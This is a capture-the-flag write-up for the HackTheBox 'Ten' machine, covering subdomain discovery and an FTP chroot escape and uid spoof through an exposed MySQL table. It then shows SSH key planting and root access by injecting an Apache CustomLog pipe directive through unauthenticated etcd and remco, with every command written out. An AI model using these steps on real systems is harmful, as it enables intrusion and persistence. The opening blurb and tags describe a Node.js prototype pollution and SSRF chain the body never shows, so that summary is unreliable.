# Ten Writeup - HackTheBox

> Exploiting a Node.js app via prototype pollution and SSRF to gain RCE, then escalating privileges through a misconfigured service on a Hard Linux HTB box.

- **URL:** https://hackindex.io/writeups/ten
- **Platform:** HackTheBox
- **Difficulty:** Hard
- **Operating system:** Linux
- **Tags:** ssrf, prototype-pollution
- **Authors:** [Mohammad Meraj](https://hackindex.io/authors/mohammad-meraj.md)
- **Published:** 2026-09-11
- **Updated:** 2026-09-11

Ten is a hard Linux box. The chain runs: nmap finds FTP, SSH, and Apache, signup.php provisions real FTP accounts with a personal vhost, subdomain fuzzing finds webdb.ten.vl which exposes the Pure-FTPd MySQL backing table via an Adminer-style browser with a one-click login, editing the dir and uid/gid columns escapes the FTP chroot and spoofs tyrell's Unix identity, writing an SSH key to tyrell's .ssh directory gives shell access, etcd running as root with no auth holds the customer URL values that remco templates into live Apache vhost config without sanitization, injecting a newline and a CustomLog pipe directive into etcd runs arbitrary shell commands as root on the next logged request.

## Discovery

### Port scan

```bash
nmap -p21,22,80 $TARGET_IP -sCV -oA nmap/nmap
# PORT   STATE SERVICE VERSION
# 21/tcp open  ftp     Pure-FTPd
# 22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu
# 80/tcp open  http    Apache httpd 2.4.52
# |_http-title: Page moved.
```

```bash
gobuster dir -u http://$TARGET_IP -w /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt -x php
# index.php   (Status: 200) [Size: 5131]
# signup.php  (Status: 200) [Size: 4050]
```

`signup.php` is a self-service account provisioner. Submitting a domain name creates an FTP account and a vhost at `domain.ten.vl`.

## Account Creation and Subdomain Discovery

```bash
curl -X POST http://ten.vl/get-credentials-please-do-not-spam-this-thanks.php -F 'domain=test123'
# OK
# Your personal account is ready to be used:
# Username: ten-6a9c0045
# Password: 71e79f38
# Personal Domain: test123.ten.vl
# You can use the provided credentials to upload your pages via ftp://ten.vl.
```

```bash
ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://ten.vl -H "Host: FUZZ.ten.vl" -fs 205
# webdb   [Status: 200, Size: 1685]
```

`webdb.ten.vl` is a database browser. Its "Guess credentials" button logs straight in to MySQL on `127.0.0.1:3306`.

## FTP Chroot Escape

### Leaking FTP user table

Browse to the `pureftpd.users` table in `webdb.ten.vl`. The table stores each user's chroot directory path, uid, and gid as editable columns. Pure-FTPd reads these at login time, not from config, so editing them changes the effective jail and Unix identity for the next session.

### Escaping the chroot

Edit the `dir` column for your own account in the webdb table editor and reconnect via FTP after each change:

```
# Step 1 - one level up:
dir = /srv/./
# ftp ls shows all customer directories

# Step 2 - root filesystem:
dir = /../
# ftp ls shows bin, boot, etc, home, root, srv...
```

Chroot is now at `/`. Browse `/etc/passwd` over FTP to find the real user:

```bash
ftp ten.vl
# (login with provisioned creds)
ftp> get /etc/passwd
# tyrell:x:1000:1000:Tyrell W.:/home/tyrell:/bin/bash
```

`/home/tyrell` is mode `drwxr-x---` owned by uid 1000. The provisioned FTP account has a different uid so access is denied. Edit `uid` and `gid` to 1000 in the webdb table editor and reconnect:

```bash
ftp> cd home/tyrell
ftp> ls -la
# drwx------  .ssh
# -r--------  .user.txt
```

tyrell's home directory is readable. `.ssh` is writable with the spoofed uid. Plant an SSH key:

```bash
ssh-keygen -t ed25519 -f ten_tyrell -N ""
```

```bash
ftp> cd /home/tyrell/.ssh
ftp> put ten_tyrell.pub authorized_keys
# 226 File successfully transferred
```

```bash
ssh -i ten_tyrell tyrell@ten.vl
# tyrell@ten:~$ whoami
# tyrell
```

Shell as `tyrell`.

## Privilege Escalation

### etcd + remco config injection

```bash
ss -tulnp
curl -s http://127.0.0.1:2379/version
# tcp  LISTEN  127.0.0.1:2379
# {"etcdserver":"3.5.13","etcdcluster":"3.5.0"}
```

```bash
ps aux | grep etcd
# root  1581 /usr/local/bin/etcd --name=etcd --listen-client-urls=http://0.0.0.0:2379
```

etcd runs as root with no authentication. It holds the customer URL values that drive the Apache vhost config via remco, a templating daemon that watches etcd keys and rewrites Apache config on every change:

```bash
ETCDCTL_API=3 etcdctl --endpoints=http://127.0.0.1:2379 get "" --prefix
# /customers/ten-6a9c0045/url
# test123
```

```bash
cat /etc/remco/templates/010-customers.conf.tmpl
```

```jinja2
{% for customer in lsdir("/customers") %}
  {% if exists(printf("/customers/%s/url", customer)) %}
<VirtualHost *:80>
        ServerName {{ getv(printf("/customers/%s/url",customer)) }}.ten.vl
        DocumentRoot /srv/{{ customer }}/
</VirtualHost>
  {% endif %}
{% endfor %}
```

The customer URL is interpolated directly into the template without sanitization. remco is root-owned with no `User=` directive. A newline in the etcd value injects arbitrary Apache directives. Apache's `CustomLog` supports piped logging via `|/path/to/command`, executing as root on every logged request.

Inject the directive:

```bash
ETCDCTL_API=3 etcdctl --endpoints=http://127.0.0.1:2379 put /customers/ten-6a9c0045/url $'privesc\nCustomLog "|/bin/cp /home/tyrell/.ssh/authorized_keys /root/.ssh/authorized_keys" common\n#'
# OK
```

remco picks up the etcd change, rewrites the Apache config, and restarts Apache. Trigger a logged request to run the piped command:

```bash
curl -s -H 'Host: privesc.ten.vl' http://127.0.0.1/ >/dev/null
```

```bash
ssh -i ten_tyrell root@ten.vl
# root@ten:~# whoami
# root
```

Related

## References

- [remco](https://github.com/HeavyHorst/remco) - remco, the config templating daemon used to bridge etcd and Apache.
- [etcd v3 API](https://etcd.io/docs/v3.5/dev-guide/interacting_v3/) - etcd v3 API, etcdctl usage reference.
